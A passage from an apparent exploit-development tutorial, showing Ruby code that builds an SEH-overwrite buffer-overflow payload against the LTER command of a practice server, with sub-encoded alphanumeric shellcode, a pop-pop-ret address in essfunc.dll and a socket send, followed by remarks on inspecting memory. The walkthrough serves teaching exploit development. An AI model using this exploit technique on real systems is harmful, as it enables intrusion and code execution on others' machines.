"\x32\x30\x6f\x61\x7a\x45\x50\x42\x73\x59\x6f\x59\x45\x41" +
"\x41"
payload += "A" * (3400 - payload.length)
# sub encode from jmp-ecx.bin
payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50"
payload += "\x40" * (3495 - payload.length)
# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"
# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
We can run the script and have a look at the memory just before our payload gets executed:
And if we let the program to continue…